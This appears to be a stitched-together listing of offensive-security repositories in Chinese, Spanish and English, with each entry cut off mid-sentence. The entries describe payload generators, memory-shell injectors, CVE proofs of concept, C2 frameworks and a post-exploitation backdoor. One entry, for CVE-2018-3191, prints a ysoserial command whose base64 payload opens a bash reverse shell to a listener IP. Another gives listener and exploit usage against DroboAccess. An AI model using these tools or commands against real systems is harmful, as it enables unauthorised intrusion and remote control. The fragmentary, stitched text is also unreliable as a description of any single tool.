SNOWCRASH

SNOWCRASH 一个多语言有效载荷生成器 简介 SNOWCRASH 创建一个可在 Linux 和 Windows 机器上启动的脚本。用户选择的有效载荷（此处为 Bash 和 Powershell 组合代码）被嵌入到一个与平台无关的多语言模板中。 目前提供少数有效载荷，包括命令执行、反弹 Shell 建立、二进制文件执行等 : 基本用法 1. 安装依赖：./install.sh 2. 列出可用有效载荷：./snowcrash --list 3. 生成所选有效载荷：./snowcrash --payload memexec --out polyglotscript 4...

CVE-2023-22527-MEMSHELL

Descripción del proyecto Este proyecto hace referencia al proyecto del maestro Boogipop https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL , y sobre la base del proyecto original soporta: 1. Inyección de memoria shell de 冰蝎 2. Añadir funcionalidad de proxy HTTP, uso: -proxy...

OpenDreambox 2.0.0 - Remote Code Execution

OpenDreambox 2.0.0 is susceptible to remote code execution via the webadmin plugin. Remote attackers can execute arbitrary OS commands via shell metacharacters in the command parameter to the /script URI in enigma2-plugins/blob/master/webadmin/src/WebChilds/Script.py. id: CVE-2017-14135 info: nam...

Apache Spark - Authentication Bypass

In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication spark.authenticate via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even...

Citrix SD-WAN Center - Remote Command Injection

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through t...

Pinger 1.0 - Remote Code Execution

Pinger 1.0 contains a remote code execution vulnerability that allows attackers to inject shell commands through the ping and socket parameters. Attackers can exploit the unsanitized input in ping.php to write arbitrary PHP files and execute system commands by appending shell metacharacters. id:...

Enigma NMS < 65.0.0 - Authenticated OS Command Injection

An OS command injection vulnerability in the discoverandmanage CGI script in NETSAS Enigma NMS 65.0.0 and prior allows an authenticated attacker to execute arbitrary code because of improper neutralization of shell metacharacters in the ipaddress variable within an snmpbrowser action. id:...

Viessmann Vitogate 300 - Remote Code Execution

In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method. id: CVE-2023-45852 info: name: Viessmann Vitogate 300 - Remote Code Execution autho...

CVE-2018-3191

CVE-2018-3191 CVE-2018-3191 reverse shell IP local: 172.16.38.1 Weblogic: 172.16.38.174:7001 1. Ejecutar localmente java -cp ysoserial-master.jar ysoserial.exploit.JRMPListener 2222 CommonsCollections1 'bash -c echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMzguMS83Nzc3IDA+JjE=|base64,-d|bash,-i' Luego...

joro

Joro Un framework de explotación web para profesionales de seguridad ofensiva. Proxy de intercepción, detección de vulnerabilidades ciegas, generación de webshells, integración con C2 y herramientas de colaboración en un solo binario con una interfaz web integrada. Advertencia: Esta herramienta...

poet

poet 一个简单的后渗透利用工具。 概述 客户端程序运行在目标机器上，配置了服务器的IP地址和连接频率。如果客户端尝试连接时服务器未运行，客户端会静默休眠，并在下一个间隔重试。如果服务器正在运行，攻击者将获得一个控制壳，以控制客户端并在目标上执行各种操作，包括： 侦察 远程Shell 文件外传 下载并执行 自毁 演示 这只是Poet能力的一个小样本。 场景是：攻击者已经获得受害者机器的访问权限，下载并执行了客户端。此时她尚未运行服务器，但没关系，客户端会耐心等待。最终攻击者准备就绪，启动服务器，首先启动一个Shell并执行uname...

CVE-2024-50379-POC

CVE-2024-50379-POC 此仓库包含一个Python脚本，用于利用CVE-2024-50379 漏洞，该漏洞允许攻击者向易受攻击的服务器上传JSP shell并远程执行任意命令。当目标服务器上的/uploads目录未受保护或缺失时，此利用工具尤为有用。 概述 CVE-2024-50379 是一个影响服务器文件上传处理不当的漏洞，使攻击者能够上传JSP shell。该shell随后可用于远程执行任意命令。提供的Python脚本通过将shell上传到易受攻击的服务器并允许通过命令行界面与服务器交互，自动化了这一过程。 前提条件 在运行脚本之前，请确保已安装以下内容： Python...

CVE-2018-11770

CVE-2018-11770 Apache Spark RCE no autenticado de shell inversa Exploit RCE independiente en Python 3 para Apache Spark reescrito a partir de este módulo de Metasploit POC del exploit explicado aquí. El propio código del exploit está explicado aquí. Probado con Python 3.7 en este objetivo. Uso:...

dns-black-cat

DNS-Black-Cat DBC 一个多平台工具包，用于交互式 C2C DNS Shell。通过使用 DNS-Black-Cat，你将能够在完全加密的隐蔽信道上以 Shell 模式执行系统命令。 服务器 以 Python 脚本形式移植，充当具备必要功能的 DNS 服务器，提供交互式 Shell 命令界面。 客户端 以以下文件格式移植： Windows 32/64 可执行文件 exe Linux 32/64 可执行文件 ELF PowerShell 脚本 ps1 动态链接库 DLL MacOS Darwin x8664 亮点 代理支持多平台。 内置 0xsp-mongoose RED 功...

OWASP-mth3l3m3nt-framework

OWASP Mth3l3m3nt Framework 正在进行一次稍微重大的升级（原谅我的双关）。本次升级将带来以下内容： 更简单的编码标准 支持 PHP 8 更强大的功能 修复已提交的 bug 请求 该工具基于 GNU Affero General Public License v3 发布。 目前已打包的模块： Payload 存储 Shell 生成器 PHP/ASP/JSP/JSPX/CFM Payload 编码和解码 Base64/Rot13/Hex/带 \x 分隔符的 Hex/带 0x 前缀的 Hex CURL 图形界面 GET/POST/TRACE/OPTIONS/HEAD L...

CVE-2023-4220-exploit

CVE-2023-4220-exploit Unrestricted file upload in the large file upload functionality at /main/inc/lib/javascript/bigupload/inc/bigUpload.php in Chamilo LMS versions = 1.11.24 allows unauthenticated attackers to perform stored Cross-Site Scripting attacks and achieve remote code execution by...

GeoServer-Tools-CVE-2024-36401

GeoServer-Tools-CVE-2024-36401 CVE-2024-36401 图形化利用工具，支持各个JDK版本利用以及回显、内存马实现 影响版本： GeoServer 2.23.6 2.24.0 = GeoServer 2.24.4 2.25.0 = GeoServer 2.25.2 近期HW发现该漏洞还是很常见的，但一直没有一个顺手的工具，这里参考：https://github.com/whitebear-ch/GeoServerExploit 的思路重新写了这份工具 0x01 安装 构建工件即可 0x02 使用 JDK8启动：java -jar...

InsomniaShell

InsomniaShell 🖥️ -h3x0v3rl0rd- Uso :...

CVE-2025-20281-2-Cisco-ISE-RCE

CVE-2025-20281-2-Cisco-ISE-RCE PoC no autenticado en Python para RCE CVE-2025-20281 contra la API de Cisco ISE CVE-2025-20281 PoC no autenticado Una prueba de concepto mínima en Python que explota el RCE no autenticado en la API ERS de Cisco ISE CVE-2025-20281 inyectando comandos de shell...

CVE-2018-14699

CVE-2018-14699 DroboAccess v2.1 中 enableuser 函数的无认证命令注入 使用方法： 首先启动一个监听器（ncat -nvlp 1337） 然后运行漏洞利用脚本 示例：exploit.py -t 192.168.1.122:8080 -l 192.168.1.2 -p 1337 '-t', '--target', help='用于利用的主机，例如 192.168.1.122:8080', required=True '-l', '--listener-ip', help='监听器 IP', required=True '-p', '--port',...